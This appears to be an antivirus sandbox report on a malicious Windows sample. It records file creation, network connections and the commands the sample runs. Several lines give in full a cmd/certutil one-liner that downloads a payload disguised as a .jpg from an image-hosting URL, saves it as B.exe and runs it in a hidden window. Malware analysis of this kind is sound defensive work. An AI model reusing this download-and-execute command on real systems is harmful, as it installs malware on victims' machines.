Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c certutil -urlcache -split -f https://i.imghippo.com/files/lhuU6173l.jpg %ALLUSERSPROFILE%\B.exe && start %ALLUSERSPROFILE%\B.exe
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\b.exe
Network activity
Connects to
- 'i.###hippo.com':443
- 'pk#.goog':80
TCP
HTTP GET requests
- http://pk#.goog/gsr1/gsr1.crt
Other
- 'i.###hippo.com':443
UDP
- DNS ASK i.###hippo.com
- DNS ASK pk#.goog
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\b.exe'
Executes the following
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://i.imghippo.com/files/lhuU6173l.jpg %ALLUSERSPROFILE%\B.exe
- '<SYSTEM32>\cmd.exe' /c certutil -urlcache -split -f https://i.imghippo.com/files/lhuU6173l.jpg %ALLUSERSPROFILE%\B.exe && start %ALLUSERSPROFILE%\B.exe' (with hidden window)
